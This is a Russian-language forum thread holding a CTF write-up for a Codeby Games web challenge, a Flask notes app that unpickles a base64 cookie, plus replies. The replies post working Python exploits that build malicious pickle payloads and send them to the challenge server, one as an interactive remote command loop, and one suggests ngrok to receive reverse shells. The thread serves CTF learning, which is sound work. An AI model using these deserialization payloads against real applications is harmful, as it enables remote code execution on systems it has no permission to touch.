• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Codeby Games Соленый огурец write-up (web)

ss0xffff

One Level
27.01.2024
7
4
BIT
153
В этом посте хотел бы рассмотреть необычное решение, которое я нашел в процессе выполнения CTF таска "Соленый огурец" из веба на платформе Codeby Games.
Screenshot from 2024-02-14 14-25-29.png

1. Открываем указанный ip:port в браузере и перед нами открывается простое веб приложение для создания заметок.
1707910167614.png

2. В самом начале на странице с заданием можно было скачать исходники к этому приложению. После того как архив скачался, заглянем в app.py: видно что это приложение на фласке; стоит обратить внимание на маршрут "/add_none" - интересным моментом является то, что введенная заметка сериализируется (метод dumps) с помощью модуля pickle, затем кодировка base64 и потом сохраняется в куки с названием "notes". Для вывода заметки производятся обратные действия: из куки декодировка base64 и затем десериализация (метод loads).
Screenshot from 2024-02-14 14-34-30.png

3. Таким образом можно предположить, что если "завернуть" нужные нам команды с помощью pickles, закодировав полученный результат с помощью base64, и передать их в кукис, то можно добиться удаленного выполенния кода. Далее пришлось полазить по Интернету в поисках каких-либо подсказок насчет данной ситуации. Во всех случаях, которые мне попались, люди переопределяли метод __reduce__() внутри какого-либо класса, вызывая выполнение системных команд. Справедливо было бы спросить почему именно этот метод. Почитав докуметацию к pickles, надеюсь, я правильно понял, что метод __reduce__() является частью протокола сериализации Python, который позволяет объектам определить специальную логику для их сериализации и десериализации; когда объект передается функции pickle.dump() или pickle.dumps(), модуль pickle проверяет, есть ли у объекта метод __reduce__(). Если такой метод определен, то вызывается __reduce__(), который должен вернуть кортеж из функции, класса или строки и аргументов, которые будут использоваться для создания объекта при его десериализации. В нашем случае, когда переопределяется метод __reduce__(), вызывается команда из терминала.
Для проверки я сделал тестовую программу которая сериализует класс Inject c методом __reduce__() (внутри c помощью subprocess.check_output, которая сохраняет stdout, попробуем вывести текущего пользователя):
1707913014602.png

Запустим данный скрипт и получим закодированный в base64 сериализованный объект: "gASVLwAAAAAAAACMCnN1YnB......"
Скопируем вывод и всавим его прямо в кукис notes и обновим страницу:
1707913226412.png

Получим такой вывод - похоже на посимаолный вывод ascii кодов в десятеричной с.к. Воспользовавшись таблицой ascii, можно легко сопоставить 114 - 'r', 111 - 'o', 116 - 't', 10 - это управляющий символ. То есть мы под root'ом. Таким образом мы достигли PoC. Можно двигаться дальше. Для удобства сделаем программу на python котороая будет переводить ascii коды в привычные нам символы:
1707913553766.png

4. Теперь попробуем вывести все доступные файлы в текущей директории:
1707913704020.png

Получаем наш новый кукис и вставляем его в Cookie Editor:
1707913835613.png

Скопируем эти коды и декодируем их с помощью написанной ранее программы:
1707913928951.png

Отлично, теперь аналогичным образом прочитаем файл с флагом:
1707914009150.png

Результат:
1707914453774.png

Декодируем:
1707914591436.png

Готово, флаг найден.
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Я сказал вначале, что решение необычное, потому что насколько я знаю это задание нужно было решать через реверс шелл (в интернете все передавли как пейлоад именно netcat reverse shell):
1707914870292.png

Но если я правильно понимаю, для реверс шелла нужен белый ip (если мы не в одной локальной сети, конечно): ведь по сути это машина жертвы должна инициировать соединение, а атакующий - открыть определенный порт и слушать.
То есть самое главное, что я хотел спросить, что обычно делается если нужно начать реверс шелл: покупается в vps, проброс портов на роутере или может есть какие-то сервисы, чтобы разово принять такое соединение?
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Благодарю за внимание. Надеюсь получить ответ на вопрос выше. В ctf играх я недавно поэтому, если где что не так сказал - не судите строго.
 

Вложения

  • Screenshot from 2024-02-14 15-09-03.png
    Screenshot from 2024-02-14 15-09-03.png
    8,5 КБ · Просмотры: 96
Последнее редактирование модератором:

Exited3n

Red Team
10.05.2022
683
229
BIT
474
Также реализовал, только в одно сплоите:
Python:
import requests
import pickle
import base64
import subprocess


class PayLoad(object):
    def __reduce__(self):
        return subprocess.check_output, (('ls', '-lah'),)


a = pickle.dumps(PayLoad())
cookie = base64.b64encode(a)

url = "http://62.173.140.174:16040/"
cookies = {"notes": cookie.decode('utf-8')}
req = requests.get(url, cookies=cookies)

data = req.text[500:].replace('<br>', '').replace('</div>', '').replace('</body>', '').replace('</html>', '').split()
flag = ''.join([chr(int(i)) for i in data])

print('Pickle base64 encoded payload:', cookie.decode('utf-8'))
print(f'Flag: {flag}')

То есть самое главное, что я хотел спросить, что обычно делается если нужно начать реверс шелл: покупается в vps, проброс портов на роутере или может есть какие-то сервисы, чтобы разово принять такое соединение?
Как хочешь, кто то берет сервер, у кого нет ни серва ни IP, то ngrok в помощь!
 
  • Нравится
Реакции: ss0xffff

ss0xffff

One Level
27.01.2024
7
4
BIT
153
Да, у вас более красивое решение. За ngrok - спасибо, как раз ждал чего-то подобного. Так как сервер или порт форвардинг слишком замудренно для заданий легкого уровня.
 

fara0n

One Level
13.10.2023
4
5
BIT
253
Также реализовал, только в одно сплоите:
Python:
import requests
import pickle
import base64
import subprocess


class PayLoad(object):
    def __reduce__(self):
        return subprocess.check_output, (('ls', '-lah'),)


a = pickle.dumps(PayLoad())
cookie = base64.b64encode(a)

url = "http://62.173.140.174:16040/"
cookies = {"notes": cookie.decode('utf-8')}
req = requests.get(url, cookies=cookies)

data = req.text[500:].replace('<br>', '').replace('</div>', '').replace('</body>', '').replace('</html>', '').split()
flag = ''.join([chr(int(i)) for i in data])

print('Pickle base64 encoded payload:', cookie.decode('utf-8'))
print(f'Flag: {flag}')


Как хочешь, кто то берет сервер, у кого нет ни серва ни IP, то ngrok в помощь!
Чуть-чуть внёс изменения в Ваш скрипт для удобной работы. Теперь, можно вводить команды и получать результат без необходимости менять команды в самом скрипте.

Python:
import requests
import pickle
import base64
import subprocess


class PayLoad(object):
    def __reduce__(self):
        # print(cmd.split())
        return (subprocess.check_output, (cmd.split(),))
 

while True:
        try:
            cmd = input("cmd> ")
            cmd = cmd.rstrip().encode().decode()
            if cmd == 'exit':
                 break
            a = pickle.dumps(PayLoad())
            cookie = base64.b64encode(a)
            url = "http://62.173.140.174:16040/"
            cookies = {"notes": cookie.decode('utf-8')}
            req = requests.get(url, cookies=cookies)
            data = req.text[500:].replace('<br>', '').replace('</div>', '').replace('</body>', '').replace('</html>', '').split()
            sh_comman = ''.join([chr(int(i)) for i in data])
            print(f'\n{sh_comman}')
        except KeyboardInterrupt:
               exit(0)
Для выхода пишем exit либо Ctrl+C
 
Последнее редактирование:
  • Нравится
Реакции: Exited3n
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!